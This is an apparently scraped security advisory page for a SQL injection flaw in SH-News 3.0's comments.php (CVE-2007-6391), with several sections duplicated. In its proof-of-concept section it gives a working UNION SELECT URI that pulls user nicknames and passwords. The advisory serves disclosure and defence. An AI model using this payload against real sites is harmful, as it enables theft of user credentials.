SH-News Comments.PHP SQL Injection Vulnerability
BID:26778
Info
SH-News Comments.PHP SQL Injection Vulnerability
| Bugtraq ID: | 26778 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6391 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 09 2007 12:00AM |
| Updated: | May 07 2015 05:34PM |
| Credit: | hadihadi discovered this vulnerability. |
| Vulnerable: |
SH-News SH-News 3.0 |
| Not Vulnerable: | |
Discussion
SH-News Comments.PHP SQL Injection Vulnerability
SH-News is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects SH-News 3.0; other versions may also be vulnerable.
SH-News is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects SH-News 3.0; other versions may also be vulnerable.
Exploit / POC
SH-News Comments.PHP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/*
Solution / Fix
SH-News Comments.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].